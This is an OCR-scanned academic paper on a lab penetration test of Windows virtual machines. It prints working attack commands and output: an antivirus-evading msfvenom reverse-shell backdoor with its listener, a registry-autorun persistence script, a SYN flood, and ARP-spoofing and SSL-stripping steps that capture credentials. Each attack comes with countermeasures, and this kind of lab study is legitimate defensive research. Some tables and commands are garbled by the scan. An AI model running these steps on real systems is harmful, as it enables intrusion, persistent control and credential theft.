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Abstract — Security in computer networks and Internet have
serious implications in today’s dynamic work environment.
Therefore, security mechanisms and policies must be followed
and studied continually by investigating the techniques and
sophisticated tools for protecting assets of essential network
security, which is always required and important for any
organization to maintain the confidentiality, integrity and to
ensure availability of data. In this context, computer networks
needed to be tested and audited against any possible attacks
and analyzing the existing vulnerabilities. In this paper, we
propose a penetration testing model to evaluate and analyze
the wvulnerabilities and weaknesses of four VMware
workstations.

We have studied and implemented three attacks using
nmap, nessus, and metasploit tools were. The studied attacks
include denial of service, backdoor, and man in the middle.
The obtained results showed that vulnerabilities were exist in
Windows 8, Windows 10, and Windows XP, and hence the
proper countermeasures were found and reported to keep
such systems secure.

Keywords: Information Security; Network Security; Ethical
Hacking.

I.  INTRODUCTION

The world is becoming increasingly interconnected,
there is a large amount of personal, commercial, military,
and government information on networking infrastructures
worldwide, as well as, information are critical assets for
any organization and that are required to be protected
against unauthorized reproduction and attacks from internal
and external intruders' sources [1]. Thus, information
security management is considerably an important issue to
variety of computer networks both public and private on
daily basis that involved in different organizations.

Computer and information security are a
comprehensive term regarding the protection of computing
systems, confidentiality, integrity, and availability against
threats and attacks. Numerous approaches and tools have
been utilized for assessing the networks and computer
systems security.

Recently, threats and attacks against computer and
information infrastructures are becoming an increasingly
serious problem due to exponentially penetration and
hacking processes. Almost all networks may be exploited
by a threat in all areas of network technologies. These
systems consist of different network devices and computers
that is highly important to protect these applications and
devices from malicious hackers [2].

In this context, computer networks required to be tested
and audited against any possible attacks and analyze the
results and its consequences, and investigation of
techniques and tools for protecting essential assets of
network security is always required and important for any
organization to maintain the confidentiality, integrity and
to ensure availability of data. Therefore, due to importance
of network and information security issues, we have
selected such a topic to be investigated in this paper [3].

Penetration testing is the activity conducted as ethical
hacking by a penetration tester (PenTester) or auditor.
Technically, a penetration test is a security-oriented
systematic probing of system from “inside” or “outside” to
seek out vulnerabilities that an attacker could exploit.
Penetration test can be defined as the simulation of a real-
world attack against a target network or application,
encompassing a wide range of activities and variations [4].
The variations include simulating an insider threat as
opposed to an external attacker, varying the amount of
target information provided in advance of the testing.

Il.  THEPROPOSED MODEL

In this paper, a penetration testing model was
proposed as a model to test the integrity of the network
security throughout a particular six phases procedure as
shown in “Fig. 1. Several tools and techniques are used
for information gathering, and to perform scanning and
attacks on the intended network security. Therefore, the
test network laboratory was setup in attempt to simulate
attacks on the given network with a few information about
the target system or network, for this reason, the used type
of penetration testing known as a grey-box approach to
reduce the amount of irrelevant tests and minimize the
possibility of damage to the system or network.
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Fig. 1. The proposed Penetration Testing Model.
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The overall process of penetration testing is divided into
several phases collectively they form a comprehensive
penetration testing methodology. Different methodologies
may have different nomenclature for various phases, but
these methodologies share the same objective. There are
six phases as shown in “Fig. 17, to be used by the network
penetration tester.

Ill.  LABORATORY AND EXPERIMENTAL
PROCEDURES

To conduct penetration test, first, we have installed VM
Ware version 12, which is a virtualization software that
allows us to use different operating systems on the virtual
machine, to emulate a cross-platform environment. Second,
four machines OSs (Kali Linux, Windows XP, Windows 8,
and Windows 10) software were installed and the firewall
is activated with each machine as depicted in “Fig. 2”.
Moreover, Windows 8 is provided with Intrusion Detection
System (IDS). These OSs software served as target or
victim machines throughout the test.
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of the achieved procedure contained the open ports and
services for both TCP and UDP scans. “Table 1” shows the
obtained results. Vulnerability assessment using Nessus
tool was used for assessing the vulnerability against the
target machines in our laboratory network by using default
scan policy in Nessus client [6], as well as, all the scans
were executed against the machines (192.168.56.4,
192.168.56.5 and 192.168.56.137). The scan was
performed on local security checks for Windows based
system.

In Nessus notation, each vulnerability was associated
with a risk factor or severity. ldentified vulnerabilities were
labelled as Critical, High, Medium, Low and Information
depending upon base score of Common Vulnerability
Scoring System (CVSS) [7].

The results for the scanned target hosts showed a range
of risk factors, for instance, target host on 192.168.56.4
demonstrated variable levels of severity as highly
vulnerable as 2 Critical risk factors, 6 medium risk factors
and 2 as low, while on host 192.168.56.5, were not risk
factors for the critical and high levels, but shows 6 and 2
risk factors for the medium and low levels respectively.

Table 1. Open ports and services running on live hosts.

192168 56.147 Protocol
Target TCP UDP
DHCP 192.168.56.0/20 Host " =
\Mare Machine Port Service Port Service
135 Msrpc 123 Ntp
Firswll Firewall = 139 Netbios-ssn | 137 Netbios-ns
= 2 _ _ 138 | Netbios-dgm
V;/('S%%‘gs ) 445 | Microsoft-ds
= 445 | Microsoft-ds [ g5nq Isakmp
192.168.5 1900 Upnp
192168565 p— 192.168.56.137 6.137 4500 Nat-t-ike
Fig. 2. Laboratory Infrastructure. 135 Msrpc 137 Netbios-ns
. 139 Netbios-ssn 138 Netbios-dgm
The Nmap, Nessus and Metasploit Framework are the 245 | Microsoft-ds | 500 Iskamp
main tools which were used to conduct the penetration test 554 Risp 1900 Upnp
[5]. T_he Nessus tool (6.9.0 ver§|0n) was installed on Kali 2869 Icslap 3702 | Ws-discovery
machl_ne, as one of the _p_enetratlon testing tools during Fhe Windows | 5357 Wsdapi 2500 Nat-t-ike
scanning and vulnerability assessment of the penetration 3 10243
test methodology. 1P 49152 unknown 5355 LImnr
192.1685 | -58
V. PROCEDURE OF PENETRATION TEST 6.4
In this section, at first, the proposed penetration testing 135 Msrpc 137 Netbios-ns
model is implemented using specific tools and techniques. 139 | Netbios-ssn | 138 | Nethios-dgm
Secondly, the implementation of each phase of the Windows | +4° | Microsoft-ds | 500 Iskamp
proposed model is presented with the obtained results for 10 1900 Upnp
the studied attacks. P 4500 | Nat-t-ike
192.168.5 5353 Zerconf
A. Scanning 6.5

Once the enumeration step is achieved via the above
steps where the IP addresses (192.168.56.4, 192.168.56.5
and 192.168.56.137) had identified, port scanning along
with OS and services fingerprinting were carried out
against live hosts (Win 8, Win XP, and Win 10). The result

As far as, the target host on 192.168.56.137 is
concerned, we found two factors are in high risk lever, two
are in medium, and one factor in low risk level, but there
was no factor in the critical risk level as shown in “Fig. 3”.
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Fig. 3. Vulnerability Scanning from Nessus Tool.

To make a victim machine protected from scanning, some
techniques can be considered as countermeasures such as
[8]:

1. Firewall should be run to detect scan ports.

2. Use an intrusion detection system, such as, snort
tool.

3. Only important ports should remain open.

4. Disable the ICMP protocol for preventing ping
scanning.

5. Scanning system ports periodically for both TCP
and UDP.

6. Keep the system updated.

B. Exploitation

Exploitation is one of most important phases of
penetration testing, where the attacks are executed on the
victim machines after acknowledge with previous
penetration testing phases. These attacks were carried out
as following:

e Creating Backdoor executable script was created by
msfvenom tool to make a reverse connection by a
victim machine over port 4444 by Metasploit tool for
Kali Linux machine with IP address 192.168.56.147
and the payload was crafted and encoded to ensure that
the payload is not detected by antivirus scanners. “Fig.
4, shows the implantation of this task.

root@kali: ~ 000

File Edit View Search Terminal Help

root@kali:~# msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata_ga nai -i 5 -b
‘\x00" LHOST=192.168.56.147 LPORT=4444 -f exe > Desktop/Cyberwarzone_reverse tcp.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Fig. 4. Create the Backdoor by Msfvenom.

Secondly, EXE file is verified on the victim host.
Normally, attackers would do this through a phishing,
drive-by-download, or other types of attack. Then, the
listener is created by msfconsole Kali tool to exploit the
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target machine and uses the command reverse-tcp payload
[9]. After that it is run on the victim machine and wait for
the infected machine to connect to new crafted msfvenom
reverse tcp handler, which is listening on the port 4444 and
192.168.56.147 machine, as shown on “Fig. 5.

root@kali: ~
File Edit View Search Terminal Help
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.56.147
lhost => 192.168.56.147
msf exploit(handler) > set LHOST 192.168.56.147
LHOST => 192.168.56.147
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

Started reverse TCP handler on 192.168.56.147:4444
Starting the payload handler...

|
1

[
[
L

Fig. 5. Launching the Multihandler.

Having run the executable file on the victim machine,
meterpreter session is viewed by the attacker and full

control of the victim machine is obtained as shown in “Fig.
6”.

[*] Started reverse TCP handler on 192.168.56.147:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.56.137

*] Meterpreter session 2 opened (192.168.56.147:4444 -> 192.168.56.137:1131) at
2016-11-25 05:33:25 -0500

eterpreter > -ls
[-] Unknown command: -1ls.

meterpreter > 1s

Listing: C:\Documents and Settings\Administrator\Desktop

Mode Size Type Last modified Name

100777/ rwxrwxrwx 73802 fil 2016-11-19 05:13:12 -0560 Cyberwarzone_reverse
|_tcp.exe
100666/ rw-rw-rw- 380 fil

n.lnk

2016-10-03 21:49:32 -0400 Local Area Connectio

Fig. 6. Meterpreter Session.

After, the back door is being created, we can maintain
the access on the victim machine using the Metasploit tool
for a Meterpreter session to run the persistence script. This
is in turn, make a Meterpreter service available even if the
remote system is rebooted. To apply this the option -X was
used to reconnect back by the victim machine that has IP
(192.168.56.137) to attacker machine that has IP
(192.168.56.147) on port 4455 when the user login the
remote system, and Meterpreter session will be open up as
shown in “Fig. 7 and Fig. 8”.

root@kali: ~ 00
File Edit View Search Terminal Help
meterpreter > run persistence -X -p 4455

Running Persistance Script

Resource file for cleanup created at /root/.msf8/logs/persistence/HAITHAM-ADA7BO6_20
161204 . 0054 /HAITHAM-ADA7BO6_20161204 . 0054 . rc

Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.147 LPORT=4455

Persistent agent script is 148411 bytes long

Persistent Script written to C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\VKNEKjW.vbs

Executing script C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\VKNEK]iW.vbs

Agent executed with PID 3448

Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersioniRun\BucRtz
UWFB1GzMN

Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BucRtzU
WTB1iGzMN

Fig. 7. Maintaining Access by persistence script.
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meterpreter >
192.168.56.137 - Meterpreter session 2 closed. Reason: Died

Interrupt: use the 'exit' command to quit

meterpreter > Interrupt: use the 'exit' command to quit

meterpreter >

msf exploit(handler) >

imsf exploit(handler) > set LPORT 4455

LPORT => 4455

msf exploit(handler) > exploit

Started reverse TCP handler on 192.168.56.147:4455

Starting the payload handler...

Sending stage (957487 bytes) to 192.168.56.137

Meterpreter session 3 opened (192.168.56.147:4455 -> 192.168.56.137:1033) at 2016-12
-04 04:02:35 -0500

neterpreter > i

Fig.8. Opening up of Meterpreter session after reboot.

Finally, the victim machine became compromised. So,
the below proposed techniques that should be considered
and highly recommended as countermeasures to make a
victim machine protected from this type of attack are listed
as following:

Installing Anti-Malware Applications.
Using trusted software vendors.
Avoiding unknown attachments.
Avoiding the use of infected computers.
Deleting the old files.

Monitoring the network traffic.
Updating the operating system.

Nougk~wpE

e Denial of Service Attack was used Metasploit

framework has many built-in auxiliary modules that
perform different types of attack [6]. One of them is
the auxiliary module (SYNFLOOD module) which
used for DoS attack by flooding the server with SYN
packets that cause denial of service as shown in “Fig.
9.

Lood
options

msf auxiliary(synflood) > sho
Module options (auxiliary/dos/tcp/synflood):

Name Current Setting

Required Description

INTERFACE
NUM
RHOST
RPORT
SHOST
omizes)
SNAPLEN
SPORT
TIMEOUT
lata

The name of the interface

Number of SYNs to send (else unlimited)
The target address

The target port

The spoofable source address (else rand

80

65535 yes The number of bytes to capture
The source port (else randomizes)
The number of seconds to wait for new d

560 yes

Imsf auxiliary(synflood) > set RHOST 192.168.56.4
RHOST => 192.168.56.4
msf auxiliary(synflood) > exploit

SYN flooding 192.168.56.4:80...

Fig. 9. SYN flooding attack using metasploit tool.

The impact of DoS attack on the CPU performance of
victim machine that has the IP Address (192.168.56.4) in
our network is monitored. Figure (10) shows the difference
of the processor performance before and after
implementing the attack. From “Fig. 10, it is clear that the
performance of the processer is affected and became very
slow.
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CPU  intelR) Coreqrm) i7-2640M cPU @ 2.80GHz || CPU  intel(R) Core(TM) i7-2640M CPU @ 2.80GHz
= 2796
5% 2.79 GHz 83% 2.79 GHz 1
1
51 605 17279 WA 51 612 17040 -
0:00:08:08 A 000:06:03 B

Fig. 10. A. The performance of the processor before the attack. B. The
performance of the processor after the attack.

So, many techniques should be applied and considered

as countermeasures to avoid the DoS attack as follows:

1. Firewall serves according to the set of rules and
some other criteria.

2. Intrusion Detection (IDS) and Intrusion
Prevention Systems (IPS): for the certain
protocols like (TCP, UDP, ARP), the IPS can
identify the abnormalities in the behavior of the
network such as significant difference in a number

of connections per second, packets per
connection, packets to specific ports.
3. Infrastructure and network configuration: the

configurations have should be managed to make
network secure. The basic rate limiting and access
control list (ACL) capabilities should be identified
by the routers. Some routers have mechanisms
and proprities that can be used to block flooding
attacks.

Audits: is an evaluation of the system done by the
experts. Their knowledge and tools for the fake
attacks may reveal a wrong configuration, the

weaknesses in the network and the level of
security that is implemented [4].
e Man-In-The-Middle attack
The Man-In-The-Middle (MITM) attack takes

advantage of the weaknesses in the authentication
protocols which used by communicating parties. Since, the
third-party ~ issue  certificates  generally  provide
authentication, the system of certificate generation
becomes vulnerable once the attack is implemented.

The ARP Spoofing and SSL Stripping techniques were
used to implement an MITM attack. In this attack, firstly,
we let the IP forward option in enable mode. Also, the
enable mode should be checked to verify whether the
forwarded IP is pre-configured or not. “Fig. 117, shows the
implementation of this task.

root@kali: ~ NN -]

File Edit View Search Terminal
root@kali:B# echo 1 > /
root@kali:~#

Fig .11. Enabled IP Forwarding.
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Secondly, redirecting the traffic from source port 80 to
the destination port 10000, which should mainly transmit
via TCP protocol. All of this traffic will take place by
updating the NAT table. Whenever the conditions with
match the packets will be redirected to port 10000 as
specified. “Fig. 127, shows the implementation of this step.

root@Kkali: ~ [ o -]
File Edit View Search Terminal Help

root@kali:~# iptables -t nat -A PREROUTING -p tcp
ECT --to-port 10000

root@kali:~# [

--destination-port 8@ -j REDIR

Fig. 12. Redirection of the Packet.

Thirdly, the HTTP traffic is redirected to attacker
machine that is done by ARP Spoofing tool as shown on
“Fig. 137, Then SSL stripping is carried out in order to
obtain the credentials for a particular website as shown on
“Fig. 14”.

root@Akali: ~
File Edit View Search Terminal Help
arp f -1 ethd -t 192
8b 6]

58.56.137 192.168.56.
:0:0:0 0806 42: arp reply 192.168.56.2 is-at 0:c:29:5a:72:

0:c:29:5a:72: 8
b

©:c:29:55:72:8b 0:0:0:0:0:0 0806 42: arp reply 192.168.56.2 is-at 0:c:29:5a:72:8
b

0:c:29:58:72:8b 0:0:0:0:0:0 0806 42: arp reply 192.168.56.2 is-at 0:c:29:5a:72:8
b

Fig. 13. ARP Spoofing Tool.

root@Kkali: ~
File Edit View Search Terminal Help
root@kali:~# sslstrip -a

sslstrip 0.9 by Moxie Marlinspike rumning...

Fig. 14. SSL Stripping.

Finally, the given attack and stealing credentials was
successfully performed by using ettercap tool as shown on
“Fig. 15”. Having implemented the above mentioned steps
on certain HTTPS website, so the user name, password and
PIN number of such a website were obtained. The final
result of this attack is shown in “Fig. 16”.

root@Kkali: ~ - C N}

File Edit View Search Terminal Help
-T -q -1 eth®

Z

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

ettercap

Listening on:
ethe -> 00:0C:29:5A:72:8B
192.168.56.148/255.255.255.0
feB0::20c:29ff: feba:728b/64

Privileges dropped to EUID 65534 EGID 65534...

33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randemizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts. ..
*

>| 100.00 %

Fig. 15. Listening by Ettercap Tool.
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root@kali: ~ (- NN}

File Edit View Search Terminal Help

Fig. 16. Successful Attacked Performed to Obtain the User Credentials.

As the obtained information in this attack is critical
and important, the developers should consider some
techniques to be applied as countermeasures to avoid such
an attack. The recommended countermeasures are:

1- Static ARP Table: is the easiest and efficient solution,
where each host on the network, or at least the most
sensitive ones (default gateway, DHCP server, DNS,
Web server, etc), that have MAC address should be
set manually in the ARP table so that cannot be
modified with ARP reply. For instance, the syntax that
can be used to add a static entry in the ARP table is:
arp -s IP_ADDRESS MAC_ADDRESS [9].
Intrusion Detection System (IDS): this technique
analyzes the behavior of the host and trigger an alarm
when something is suspicious. Also, the IDS analyzes
behaviors regarding some rules, such as:

Checking if the sender MAC address of an
ARP reply coming from a sensitive host (e.g.
default gateway) match the proper MAC
address (wrote previously by the security
admin).

Checking if a host sends unsolicited ARP
reply.

Checking if each IP address has a unique
MAC address in the LAN.

Encryption and authenticated channel: using robust
cryptosystems to secure channel, then the captured
encrypted data by an attacker will be irrelevant
without the proper encryption key. In order to avoid
this security issue, secure hosts (like Web server) use
an authentication system to ensure that the
communication is established with the proper host.
Older version of SSL protocol: is usually prone to a
penetration by attackers using SSLstrip tool.
Therefore, SSL protocol is highly recommended to be
updated.

In general, the intrusion detection system (IDS) was
used as a countermeasure for both DoS and MITM attacks
by utilizing SAX2 tool for widely analyzing the suspicious
behavior and alarming for implemented attacks on the
target host (192.186.56.4).

The event curve on “Fig. 177, shows information
regarding ICMP ping, warning signal regarding TCP port
which scanned, and the critical level occurred when ARP
MAC address was altered. The traffic curve on "Fig. 17"
shows the DoS attack where the influx of packets was
relatively increased.
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Fig. 17. Results Obtained from IDS (SAX2 Tool).

V.  CONCLUSION AND FUTURE WORK

In  conclusion, properly utilized of security
methodologies and tools can verify their usefulness for
understanding the weaknesses of the network or system
and how they might be exploited. Penetration testing is not
an alternative to other security measures however« it can be
used to complement the defense in depth principle.
Moreover, the use of old systems should be avoided as it
may have serious vulnerabilities.

Full security cannot be reached, this is one of the
fundamental principles of security, but a high rate of safety
could be achieved through the implementation of network
penetration testing periodically. Therefore, penetration
testing techniques is very useful for building strategies for
measuring the extent of securing data in order to improve
the management performance, through the filtration of
data.

Finally, in order to perform a successful penetration
tests, the underlying methodology should also make use of
different security tools.

The proposed model in this study dealt with the most
basic penetration testing activities and artifacts at each test
phase. As a future work, the suggested model which can be
enhanced by utilizing more sophisticated tools to increase
vulnerability coverage and try/launch more attacks, for
instance, DNS spoofing, Brute Force, and Endpoint devices
attacking (printer and routers) to highly evaluate a network
security and providing beneficial countermeasures.
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